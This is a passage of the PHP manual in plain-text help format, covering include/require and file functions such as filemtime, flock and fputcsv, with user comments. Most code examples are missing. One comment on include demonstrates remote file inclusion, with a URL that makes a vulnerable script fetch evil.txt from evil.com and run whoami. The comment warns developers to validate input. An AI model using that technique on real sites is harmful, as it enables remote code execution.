one of the worst designs you can implement since there is no function head, no way to understand where $parameter1 and $parameter2 come from by just looking at "voodoo". No explanation in the calling file as of what $parameter1 and -2 are doing or why they are even there. If the names of the parameters ever change in "voodoo" it will break the calling file. No IDE will properly support this very poor "design". And I won't even start on the security issues! If you find yourself in a situation where a return-statement in global scope is the answer to your problem, then maybe you are asking the wrong questions. Actually you may be better off using a function and throwing an exception where needed. Files are NOT functions. They should NOT be treated as such and under no circumstances should they "return" anything at all. Remember: Every time you abuse a return statement God kills a kitten and makes sure you are reborn as a mouse! 27 J.D. Grimes ¶3 years ago~ Note that because PHP processes the file before running it, any functions defined in an included file will still be available, even if the file is not executed. Example: a.php > < b.php > < Executing a.php will output "foo". 19 Russell Weed ¶2 years ago~ Following up on Tom and warhog's comments regarding using return in global scope, here is another reason not to do it: For command line scripts, the return statement will NOT return a status to the OS! > < Instead, you must use exit(): http://php.net/exit > < -------------------------------------------------------------------------------- *require* +---------+~ | require |~ +---------+~ (PHP 4, PHP 5, PHP 7) require is identical to include except upon failure it will also produce a fatal E_COMPILE_ERROR level error. In other words, it will halt the script whereas include only emits a warning (E_WARNING) which allows the script to continue. See the include documentation for how this works. User Contributed Notes 25 notes 92 chris at chrisstockton dot org ¶9 years ago~ Remember, when using require that it is a statement, not a function. It's not necessary to write: > < The following: > < Is preferred, it will prevent your peers from giving you a hard time and a trivial conversation about what require really is. -------------------------------------------------------------------------------- *include* +---------+~ | include |~ +---------+~ (PHP 4, PHP 5, PHP 7) The include statement includes and evaluates the specified file. The documentation below also applies to require. Files are included based on the file path given or, if none is given, the include_path specified. If the file isn't found in the include_path, include will finally check in the calling script's own directory and the current working directory before failing. The include construct will emit a warning if it cannot find a file; this is different behavior from require, which will emit a fatal error. If a path is defined — whether absolute (starting with a drive letter or \ on Windows, or / on Unix/Linux systems) or relative to the current directory (starting with . or ..) — the include_path will be ignored altogether. For example, if a filename begins with ../, the parser will look in the parent directory to find the requested file. For more information on how PHP handles including files and the include path, see the documentation for include_path. When a file is included, the code it contains inherits the variable scope of the line on which the include occurs. Any variables available at that line in the calling file will be available within the called file, from that point forward. However, all functions and classes defined in the included file have the global scope. Example #1 Basic include example vars.php > < test.php > < If the include occurs inside a function within the calling file, then all of the code contained in the called file will behave as though it had been defined inside that function. So, it will follow the variable scope of that function. An exception to this rule are magic constants which are evaluated by the parser before the include occurs. Example #2 Including within functions > < When a file is included, parsing drops out of PHP mode and into HTML mode at the beginning of the target file, and resumes again at the end. For this reason, any code inside the target file which should be executed as PHP code must be enclosed within valid PHP start and end tags. If "URL include wrappers" are enabled in PHP, you can specify the file to be included using a URL (via HTTP or other supported wrapper - see Supported Protocols and Wrappers for a list of protocols) instead of a local pathname. If the target server interprets the target file as PHP code, variables may be passed to the included file using a URL request string as used with HTTP GET. This is not strictly speaking the same thing as including the file and having it inherit the parent file's variable scope; the script is actually being run on the remote server and the result is then being included into the local script. Example #3 include through HTTP > < Warning Security warning Remote file may be processed at the remote server (depending on the file extension and the fact if the remote server runs PHP or not) but it still has to produce a valid PHP script because it will be processed at the local server. If the file from the remote server should be processed there and outputted only, readfile() is much better function to use. Otherwise, special care should be taken to secure the remote script to produce a valid and desired code. See also Remote files, fopen() and file() for related information. Handling Returns: include returns FALSE on failure and raises a warning. Successful includes, unless overridden by the included file, return 1. It is possible to execute a return statement inside an included file in order to terminate processing in that file and return to the script which called it. Also, it's possible to return values from included files. You can take the value of the include call as you would for a normal function. This is not, however, possible when including remote files unless the output of the remote file has valid PHP start and end tags (as with any local file). You can declare the needed variables within those tags and they will be introduced at whichever point the file was included. Because include is a special language construct, parentheses are not needed around its argument. Take care when comparing return value. Example #4 Comparing return value of include > < Example #5 include and the return statement return.php > < noreturn.php > < testreturns.php > < $bar is the value 1 because the include was successful. Notice the difference between the above examples. The first uses return within the included file while the other does not. If the file can't be included, FALSE is returned and E_WARNING is issued. If there are functions defined in the included file, they can be used in the main file independent if they are before return or after. If the file is included twice, PHP 5 issues fatal error because functions were already declared, while PHP 4 doesn't complain about functions defined after return. It is recommended to use include_once instead of checking if the file was already included and conditionally return inside the included file. Another way to "include" a PHP file into a variable is to capture the output by using the Output Control Functions with include. For example: Example #6 Using output buffering to include a PHP file into a string > < In order to automatically include files within scripts, see also the auto_prepend_file and auto_append_file configuration options in php.ini. Note: Because this is a language construct and not a function, it cannot be called using variable functions. See also require, require_once, include_once, get_included_files(), readfile(), virtual(), and include_path. User Contributed Notes 20 notes~ 67 snowyurik at gmail dot com ¶8 years ago~ This might be useful: > < So you can move script anywhere in web-project tree without changes. 8 John Carty ¶6 months ago~ Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI). As example #3 points out, it is possible to include a php file from a remote server. The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code: > < As a programmer, you might expect the user to browse to the path that you specify. However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain. evil.txt > < It is a text file so it would not be processed on my server but on the target/victim server. I would browse to: h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00 The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as. Please use proper input validation if you use variables in an include statement. 19 Anon ¶5 years ago~ I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd(); Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory. 9 error17191 at gmail dot com ¶1 year ago~ When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__). This is an example to demonstrate the situation : We have two directory structure : -dir1 ----script.php ----test ----dir1_test -dir2 ----test ----dir2_test dir1/test contains the following text : This is test in dir1 dir2/test contains the following text: This is test in dir2 dir1_test contains the following text: This is dir1_test dir2_test contains the following text: This is dir2_test script.php contains the following code: '; echo 'Current working directory: ' . getcwd(); echo '
    '; echo 'including "test" ...'; echo '
    '; include 'test'; echo '
    '; echo 'Changing current working directory to dir2'; chdir('../dir2'); echo '
    '; echo 'Directory of the current calling script: ' . __DIR__; echo '
    '; echo 'Current working directory: ' . getcwd(); echo '
    '; echo 'including "test" ...'; echo '
    '; include 'test'; echo '
    '; echo 'including "dir2_test" ...'; echo '
    '; include 'dir2_test'; echo '
    '; echo 'including "dir1_test" ...'; echo '
    '; include 'dir1_test'; echo '
    '; echo 'including "./dir1_test" ...'; echo '
    '; (@include './dir1_test') or die('couldn\'t include this file '); ?> The output of executing script.php is : Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1 Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1 including "test" ... This is test in dir1 Changing current working directory to dir2 Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1 Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2 including "test" ... This is test in dir2 including "dir2_test" ... This is dir2_test including "dir1_test" ... This is dir1_test including "./dir1_test" ... couldn't include this file 8 Rash ¶2 years ago~ If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this: > < The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src". > < Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly. 13 Rick Garcia ¶8 years ago~ As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows: ---- ---- and so on. This way, the files in your framework will only have to issue statements such as this: > < This also frees you from having to check the include path each time you do an include. If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory: -- -- This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts. -------------------------------------------------------------------------------- *require_once* +--------------+~ | require_once |~ +--------------+~ (PHP 4, PHP 5, PHP 7) The require_once statement is identical to require except PHP will check if the file has already been included, and if so, not include (require) it again. See the include_once documentation for information about the _once behaviour, and how it differs from its non _once siblings. User Contributed Notes 22 notes 79 bimal at sanjaal dot com ¶5 years ago~ If your code is running on multiple servers with different environments (locations from where your scripts run) the following idea may be useful to you: a. Do not give absolute path to include files on your server. b. Dynamically calculate the full path (absolute path) Hints: Use a combination of dirname(__FILE__) and subsequent calls to itself until you reach to the home of your '/index.php'. Then, attach this variable (that contains the path) to your included files. One of my typical example is: > < instead of: > < After this, if you copy paste your codes to another servers, it will still run, without requiring any further re-configurations. [EDIT BY danbrown AT php DOT net: Contains a typofix (missing ')') provided by 'JoeB' on 09-JUN-2011.] 12 powtac at gmx dot de ¶1 year ago~ "require_once" and "require" are language constructs and not functions. Therefore they should be written without "()" brackets! -------------------------------------------------------------------------------- *include_once* +--------------+~ | include_once |~ +--------------+~ (PHP 4, PHP 5, PHP 7) The include_once statement includes and evaluates the specified file during the execution of the script. This is a behavior similar to the include statement, with the only difference being that if the code from a file has already been included, it will not be included again, and include_once returns TRUE. As the name suggests, the file will be included just once. include_once may be used in cases where the same file might be included and evaluated more than once during a particular execution of a script, so in this case it may help avoid problems such as function redefinitions, variable value reassignments, etc. See the include documentation for information about how this function works. Note: With PHP 4, _once functionality differs with case-insensitive operating systems (like Windows) so for example: Example #1 include_once with a case insensitive OS in PHP 4 > < This behaviour changed in PHP 5, so for example with Windows the path is normalized first so that C:\PROGRA~1\A.php is realized the same as C:\Program Files\a.php and the file is included just once. User Contributed Notes 8 notes 182 roach dot scott+spam at googlemail dot com ¶8 years ago~ If you include a file that does not exist with include_once, the return result will be false. If you try to include that same file again with include_once the return value will be true. Example: > < This is because according to php the file was already included once (even though it does not exist). 23 Greg McCarthy ¶3 months ago~ In response to what a user wrote 8 years ago regarding include_once being ran two times in a row on a non-existent file: Perhaps 8 years ago that was the case, however I have tested in PHP 5.6, and I get this: $result = include_once 'fakefile.php'; // $result = false $result = include_once 'fakefile.php' // $result is still false -------------------------------------------------------------------------------- *fileatime* +-----------+~ | fileatime |~ +-----------+~ (PHP 4, PHP 5, PHP 7) fileatime — Gets last access time of file Description~ > int fileatime ( string $filename ) < Gets the last access time of the given file. Parameters~ filename -------- Path to the file. Return Values Returns the time the file was last accessed, or FALSE on failure. The time is returned as a Unix timestamp. Examples~ Example #1 fileatime() example > < Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes Note: The atime of a file is supposed to change whenever the data blocks of a file are being read. This can be costly performance-wise when an application regularly accesses a very large number of files or directories. Some Unix filesystems can be mounted with atime updates disabled to increase the performance of such applications; USENET news spools are a common example. On such filesystems this function will be useless. Note: Note that time resolution may differ from one file system to another. Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |filemtime|() - Gets file modification time |fileinode|() - Gets file inode |date|() - Format a local time/date -------------------------------------------------------------------------------- *filectime* +-----------+~ | filectime |~ +-----------+~ (PHP 4, PHP 5, PHP 7) filectime — Gets inode change time of file Description~ > int filectime ( string $filename ) < Gets the inode change time of a file. Parameters~ filename -------- Path to the file. Return Values~ Returns the time the file was last changed, or FALSE on failure. The time is returned as a Unix timestamp. Examples~ Example #1 A filectime() example > < Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes Note: Note: In most Unix filesystems, a file is considered changed when its inode data is changed; that is, when the permissions, owner, group, or other metadata from the inode is updated. See also filemtime() (which is what you want to use when you want to create "Last Modified" footers on web pages) and fileatime(). Note: Note also that in some Unix texts the ctime of a file is referred to as being the creation time of the file. This is wrong. There is no creation time for Unix files in most Unix filesystems. Note: Note that time resolution may differ from one file system to another. Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |filemtime|() - Gets file modification time User Contributed Notes 9 notes 9 StevieMc at example dot com ¶10 years ago~ This method gets all the files in a directory, and echoes them in the order of the date they were added (by ftp or whatever). > $name) $name=$file_names[$name]; $file_dates = array_merge($file_dates); $i = 0; //Loop through dates array and then echo the list foreach ($file_dates as $file_dates){ $date = $file_dates; $j = $file_names_Array[$i]; $file = $file_names[$j]; $i++; echo "File name: $file - Date Added: $date.
    ""; } } ?> < I hope this is useful to somebody. -------------------------------------------------------------------------------- *filegroup* +-----------+~ | filegroup |~ +-----------+~ (PHP 4, PHP 5, PHP 7) filegroup — Gets file group Description~ > int filegroup ( string $filename ) < Gets the file group. The group ID is returned in numerical format, use posix_getgrgid() to resolve it to a group name. Parameters~ filename -------- Path to the file. Return Values~ Returns the group ID of the file, or FALSE if an error occurs. The group ID is returned in numerical format, use posix_getgrgid() to resolve it to a group name. Upon failure, FALSE is returned. Examples~ Example #1 Finding the group of a file > < Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |fileowner|() - Gets file owner |posix_getgrgid|() - Return info about a group by group id |safe_mode_gid| -------------------------------------------------------------------------------- *fileinode* +-----------+~ | fileinode |~ +-----------+~ (PHP 4, PHP 5, PHP 7) fileinode — Gets file inode Description~ > int fileinode ( string $filename ) < Gets the file inode. Parameters~ filename -------- Path to the file. Return Values~ Returns the inode number of the file, or FALSE on failure. Examples~ Example #1 Comparing the inode of a file with the current file > < Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |getmyinode|() - Gets the inode of the current script |stat|() - Gives information about a file -------------------------------------------------------------------------------- *filemtime* +-----------+~ | filemtime |~ +-----------+~ (PHP 4, PHP 5, PHP 7) filemtime — Gets file modification time Description~ > int filemtime ( string $filename ) < This function returns the time when the data blocks of a file were being written to, that is, the time when the content of the file was changed. Parameters~ filename -------- Path to the file. Return Values~ Returns the time the file was last modified, or FALSE on failure. The time is returned as a Unix timestamp, which is suitable for the date() function. Examples~ Example #1 filemtime() example > < Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes Note: Note that time resolution may differ from one file system to another. Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |filectime|() - Gets inode change time of file |stat|() - Gives information about a file |touch|() - Sets access and modification time of file |getlastmod|() - Gets time of last page modification User Contributed Notes 28 notes 53 geeks at geekman dot info ¶9 years ago~ This is a very handy function for dealing with browser caching. For example, say you have a stylesheet and you want to make sure everyone has the most recent version. You could rename it every time you edit it, but that would be a pain in the ass. Instead, you can do this: > '; ?> < Sample output: By appending a GET value (the UNIX timestamp) to the stylesheet URL, you make the browser think the stylesheet is dynamic, so it'll reload the stylesheet every time the modification date changes. 35 paranoid at dds dot nl ¶13 years ago~ To get the last modification time of a directory, you can use this: >
    	$getLastModDir = filemtime("/path/to/directory/.");
    	
    < Take note on the last dot which is needed to see the directory as a file and to actually get a last modification date of it. This comes in handy when you want just one 'last updated' message on the frontpage of your website and still taking all files of your website into account. Regards, Frank Keijzers 8 _michael ¶7 years ago~ While testing on Windows, I noticed that the precision of filemtime is just 1 second. So if you use clearstatcache() and filemtime() to check if a file has been modified, it might fail to detect the change. The modifications just have to happen within less than a second. (I ran into this with Apache on Windows XP.) -------------------------------------------------------------------------------- *fileowner* +-----------+~ | fileowner |~ +-----------+~ (PHP 4, PHP 5, PHP 7) fileowner — Gets file owner Description~ > int fileowner ( string $filename ) < Gets the file owner. Parameters~ filename -------- Path to the file. Return Values~ Returns the user ID of the owner of the file, or FALSE on failure. The user ID is returned in numerical format, use posix_getpwuid() to resolve it to a username. Examples~ Example #1 Finding the owner of a file > < Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |filegroup|() - Gets file group |stat|() - Gives information about a file |posix_getpwuid|() - Return info about a user by user id User Contributed Notes 3 notes 6 Anonymous ¶11 years ago~ Small note: the function resolves symbolic links. That is, if the link is created by user 999 and maps to a file owned by user 666, this function returns 666 :( 7 dazoe ¶6 years ago~ Remember to use if(fileowner(...) === FALSE) instead of if(!fileowner()) or if(fileowner() == FLASE) because if the owner was "root" it would return 0. -------------------------------------------------------------------------------- *fileperms* +-----------+~ | fileperms |~ +-----------+~ (PHP 4, PHP 5, PHP 7) fileperms — Gets file permissions Description~ > int fileperms ( string $filename ) < Gets permissions for the given file. Parameters~ filename -------- Path to the file. Return Values~ Returns the file's permissions as a numeric mode. Lower bits of this mode are the same as the permissions expected by chmod(), however on most platforms the return value will also include information on the type of file given as filename. The examples below demonstrate how to test the return value for specific permissions and file types on POSIX systems, including Linux and Mac OS X. For local files, the specific return value is that of the st_mode member of the structure returned by the C library's stat() function. Exactly which bits are set can vary from platform to platform, and looking up your specific platform's documentation is recommended if parsing the non-permission bits of the return value is required. Examples~ Example #1 Display permissions as an octal value > < The above example will output: 1777 0644 Example #2 Display full permissions > < The above example will output: -rw-r--r-- Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |chmod|() - Changes file mode |is_readable|() - Tells whether a file exists and is readable |stat|() - Gives information about a file User Contributed Notes 8 notes 12 coolmic at example dot com ¶3 years ago~ Don't use substr, use bit operator > < If you want to compare permission > < -------------------------------------------------------------------------------- *filesize* +----------+~ | filesize |~ +----------+~ (PHP 4, PHP 5, PHP 7) filesize — Gets file size Description~ > int filesize ( string $filename ) < Gets the size for the given file. Parameters~ filename -------- Path to the file. Return Values~ Returns the size of the file in bytes, or FALSE (and generates an error of level E_WARNING) in case of an error. Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB. Examples~ Example #1 filesize() example > < Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |file_exists|() - Checks whether a file or directory exists User Contributed Notes 28 notes 119 rommel at rommelsantor dot com ¶5 years ago~ Extremely simple function to get human filesize. > < 31 Arseny Mogilev ¶3 years ago~ > array( "UNIT" => "TB", "VALUE" => pow(1024, 4) ), 1 => array( "UNIT" => "GB", "VALUE" => pow(1024, 3) ), 2 => array( "UNIT" => "MB", "VALUE" => pow(1024, 2) ), 3 => array( "UNIT" => "KB", "VALUE" => 1024 ), 4 => array( "UNIT" => "B", "VALUE" => 1 ), ); foreach($arBytes as $arItem) { if($bytes >= $arItem["VALUE"]) { $result = $bytes / $arItem["VALUE"]; $result = str_replace(".", "," , strval(round($result, 2)))." ".$arItem["UNIT"]; break; } } return $result; } ?> < 12 C0nw0nk ¶10 months ago~ Here is my super fast method of getting >2GB files to output the correct byte size on any version of windows works with both 32Bit and 64Bit. > < 20 Anonymous ¶6 years ago~ if you recently appended something to file, and closed it then this method will not show appended data: > < You should insert a call to clearstatcache() before calling filesize() I've spent two hours to find that =/ 13 CertaiN ¶2 years ago~ The simplest and most efficient implemention for getting remote filesize: > < -------------------------------------------------------------------------------- *filetype* +----------+~ | filetype |~ +----------+~ (PHP 4, PHP 5, PHP 7) filetype — Gets file type Description~ > string filetype ( string $filename ) < Returns the type of the given file. Parameters~ filename -------- Path to the file. Return Values~ Returns the type of the file. Possible values are fifo, char, dir, block, link, file, socket and unknown. Returns FALSE if an error occurs. filetype() will also produce an E_NOTICE message if the stat call fails or if the file type is unknown. Examples~ Example #1 filetype() example > < Errors/Exceptions ¶ Upon failure, an E_WARNING is emitted. Notes Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |is_dir|() - Tells whether the filename is a directory |is_file|() - Tells whether the filename is a regular file |is_link|() - Tells whether the filename is a symbolic link |file_exists|() - Checks whether a file or directory exists |mime_content_type|() - Detect MIME Content-type for a file |pathinfo|() - Returns information about a file path |stat|() - Gives information about a file User Contributed Notes 6 notes 19 ruach at chpc dot utah dot edu ¶13 years ago~ There are 7 values that can be returned. Here is a list of them and what each one means block: block special device char: character special device dir: directory fifo: FIFO (named pipe) file: regular file link: symbolic link unknown: unknown file type -------------------------------------------------------------------------------- *flock* +-------+~ | flock |~ +-------+~ (PHP 4, PHP 5, PHP 7) flock — Portable advisory file locking Description~ > bool flock ( resource $handle , int $operation [, int &$wouldblock ] ) < flock() allows you to perform a simple reader/writer model which can be used on virtually every platform (including most Unix derivatives and even Windows). On versions of PHP before 5.3.2, the lock is released also by fclose() (which is also called automatically when script finished). PHP supports a portable way of locking complete files in an advisory way (which means all accessing programs have to use the same way of locking or it will not work). By default, this function will block until the requested lock is acquired; this may be controlled with the LOCK_NB option documented below. Parameters~ handle ------ A file system pointer resource that is typically created using fopen(). operation --------- operation is one of the following: LOCK_SH to acquire a shared lock (reader). LOCK_EX to acquire an exclusive lock (writer). LOCK_UN to release a lock (shared or exclusive). It is also possible to add LOCK_NB as a bitmask to one of the above operations if you don't want flock() to block while locking. wouldblock ---------- The optional third argument is set to 1 if the lock would block (EWOULDBLOCK errno condition). Return Values~ Returns TRUE on success or FALSE on failure. Changelog~ Version Description 5.5.22, 5.6.6 Added support for the wouldblock parameter on Windows. 5.3.2 The automatic unlocking when the file's resource handle is closed was removed. Unlocking now always has to be done manually. Examples~ Example #1 flock() example > < Example #2 flock() using the LOCK_NB option > < Notes Note: flock() uses mandatory locking instead of advisory locking on Windows. Mandatory locking is also supported on Linux and System V based operating systems via the usual mechanism supported by the fcntl() system call: that is, if the file in question has the setgid permission bit set and the group execution bit cleared. On Linux, the file system will also need to be mounted with the mand option for this to work. Note: Because flock() requires a file pointer, you may have to use a special lock file to protect access to a file that you intend to truncate by opening it in write mode (with a "w" or "w+" argument to fopen()). Note: May only be used on file pointers returned by fopen() for local files, or file pointers pointing to userspace streams that implement the streamWrapper::stream_lock() method. Warning Assigning another value to handle argument in subsequent code will release the lock. Warning On some operating systems flock() is implemented at the process level. When using a multithreaded server API like ISAPI you may not be able to rely on flock() to protect files against other PHP scripts running in parallel threads of the same server instance! flock() is not supported on antiquated filesystems like FAT and its derivates and will therefore always return FALSE under this environments (this is especially true for Windows 98 users). User Contributed Notes 37 notes 65 Antti Haapala ¶9 years ago~ The supplied documentation is vague, ambiguous and lacking, and the user comments contain erroneous information! The flock function follows the semantics of the Unix system call bearing the same name. Flock utilizes ADVISORY locking only; that is, other processes may ignore the lock completely; it only affects those that call the flock call. LOCK_SH means SHARED LOCK. Any number of processes MAY HAVE A SHARED LOCK simultaneously. It is commonly called a reader lock. LOCK_EX means EXCLUSIVE LOCK. Only a single process may possess an exclusive lock to a given file at a time. If the file has been LOCKED with LOCK_SH in another process, flock with LOCK_SH will SUCCEED. flock with LOCK_EX will BLOCK UNTIL ALL READER LOCKS HAVE BEEN RELEASED. If the file has been locked with LOCK_EX in another process, the CALL WILL BLOCK UNTIL ALL OTHER LOCKS have been released. If however, you call flock on a file on which you possess the lock, it will try to change it. So: flock(LOCK_EX) followed by flock(LOCK_SH) will get you a SHARED lock, not "read-write" lock. 9 mdessaintes at gmail dot com ¶4 years ago~ I just spent some time (again) to understand why a reading with file_get_contents() and file was returning me an empty string "" or array() whereas the file was existing and the contents not empty. In fact, i was locking file when writing it (file_put_contents third arg) but not testing if file was locked when reading it (and the file was accessed a lot). So, please pay attention that file_get_contents(), file() and maybe others php files functions are going to return empty data like if the contents of the file was an empty string. To avoid this problem, you have to set a LOCK_SH on your file before reading it (and then waiting if locked). Something like this : > < Code to test by yourself : abc.txt : > someText file.php : < file2.php : > < Then launch file.php and switch to file2.php during the 10 seconds and see the difference before/after -------------------------------------------------------------------------------- *fnmatch* +---------+~ | fnmatch |~ +---------+~ (PHP 4 >= 4.3.0, PHP 5, PHP 7) fnmatch — Match filename against a pattern Description~ > bool fnmatch ( string $pattern , string $string [, int $flags = 0 ] ) < fnmatch() checks if the passed string would match the given shell wildcard pattern. Parameters~ pattern ------- The shell wildcard pattern. string ------ The tested string. This function is especially useful for filenames, but may also be used on regular strings. The average user may be used to shell patterns or at least in their simplest form to '?' and '*' wildcards so using fnmatch() instead of preg_match() for frontend search expression input may be way more convenient for non-programming users. flags ----- The value of flags can be any combination of the following flags, joined with the binary OR (|) operator. A list of possible flags for fnmatch() Flag Description FNM_NOESCAPE Disable backslash escaping. FNM_PATHNAME Slash in string only matches slash in the given pattern. FNM_PERIOD Leading period in string must be exactly matched by period in the given pattern. FNM_CASEFOLD Caseless match. Part of the GNU extension. Return Values~ Returns TRUE if there is a match, FALSE otherwise. Changelog~ Version Description 5.3.0 This function is now available on Windows platforms. Examples~ Example #1 Checking a color name against a shell wildcard pattern > < Notes Warning For now, this function is not available on non-POSIX compliant systems except Windows. See Also~ |glob|() - Find pathnames matching a pattern |preg_match|() - Perform a regular expression match |sscanf|() - Parses input from a string according to a format |printf|() - Output a formatted string |sprintf|() - Return a formatted string -------------------------------------------------------------------------------- *fpassthru* +-----------+~ | fpassthru |~ +-----------+~ (PHP 4, PHP 5, PHP 7) fpassthru — Output all remaining data on a file pointer Description~ > int fpassthru ( resource $handle ) < Reads to EOF on the given file pointer from the current position and writes the results to the output buffer. You may need to call rewind() to reset the file pointer to the beginning of the file if you have already written data to the file. If you just want to dump the contents of a file to the output buffer, without first modifying it or seeking to a particular offset, you may want to use the readfile(), which saves you the fopen() call. Parameters~ handle ------ The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()). Return Values~ If an error occurs, fpassthru() returns FALSE. Otherwise, fpassthru() returns the number of characters read from handle and passed through to the output. Examples~ Example #1 Using fpassthru() with binary files > < Notes Note: When using fpassthru() on a binary file on Windows systems, you should make sure to open the file in binary mode by appending a b to the mode used in the call to fopen(). You are encouraged to use the b flag when dealing with binary files, even if your system does not require it, so that your scripts will be more portable. See Also~ |readfile|() - Outputs a file |fopen|() - Opens file or URL |popen|() - Opens process file pointer |fsockopen|() - Open Internet or Unix domain socket connection -------------------------------------------------------------------------------- *fputcsv* +---------+~ | fputcsv |~ +---------+~ (PHP 5 >= 5.1.0, PHP 7) fputcsv — Format line as CSV and write to file pointer Description~ > int fputcsv ( resource $handle , array $fields [, string $delimiter = "," [, string $enclosure = '"' [, string $escape_char = "\" ]]] ) < fputcsv() formats a line (passed as a fields array) as CSV and write it (terminated by a newline) to the specified file handle. Parameters~ handle ------ The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()). fields ------ An array of values. delimiter --------- The optional delimiter parameter sets the field delimiter (one character only). enclosure --------- The optional enclosure parameter sets the field enclosure (one character only). escape_char ---------- The optional escape_char parameter sets the escape character (one character only). Return Values~ Returns the length of the written string or FALSE on failure. Changelog~ Version Description 5.5.4 The escape_char parameter was added Examples~ Example #1 fputcsv() example > < The above example will write the following to file.csv: aaa,bbb,ccc,dddd 123,456,789 """aaa""","""bbb""" Notes Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem. See Also~ |fgetcsv|() - Gets line from file pointer and parse for CSV fields User Contributed Notes 22 notes 183 MagicalTux at ooKoo dot org ¶10 years ago~ If you need to send a CSV file directly to the browser, without writing in an external file, you can open the output and use fputcsv on it.. > < 6 Anonymous ¶1 year ago~ if you want make UTF-8 file for excel, use this: > $fp = fopen($filename, 'w'); //add BOM to fix UTF-8 in Excel fputs($fp, $bom =( chr(0xEF) . chr(0xBB) . chr(0xBF) )); < 12 nate at example dot com ¶8 years ago~ Alright, after playing a while, I'm confident the following replacement function works in all cases, including the ones for which the native fputcsv function fails. If fputcsv fails to work for you (particularly with mysql csv imports), try this function as a drop-in replacement instead. Arguments to pass in are exactly the same as for fputcsv, though I have added an additional $mysql_null boolean which allows one to turn php null's into mysql-insertable nulls (by default, this add-on is disabled, thus working identically to fputcsv [except this one works!]). > 20 alex /-\-l- windeagle DOT org ¶7 years ago~ TAB delimiting. Using fputcsv to output a CSV with a tab delimiter is a little tricky since the delimiter field only takes one character. The answer is to use the chr() function. The ascii code for tab is 9, so chr(9) returns a tab character. ================== it should be: you just forgot that single quotes are literal...meaning whatever you put there that's what will come out so '\t' would be same as 't' because \ in that case would be only used for escaping but if you use double quotes then that would work. -------------------------------------------------------------------------------- *fputs* +-------+~ | fputs |~ +-------+~ (PHP 4, PHP 5, PHP 7) fputs — Alias of fwrite() Description~ This function is an alias of: fwrite(). -------------------------------------------------------------------------------- *fread* +-------+~ | fread |~ +-------+~ (PHP 4, PHP 5, PHP 7) fread — Binary-safe file read Description~ > string fread ( resource $handle , int $length ) fread() reads up to length bytes from the file pointer referenced by handle. Reading stops as soon as one of the following conditions is met: length bytes have been read EOF (end of file) is reached a packet becomes available or the socket timeout occurs (for network streams) if the stream is read buffered and it does not represent a plain file, at most one read of up to a number of bytes equal to the chunk size (usually 8192) is made; depending on the previously buffered data, the size of the 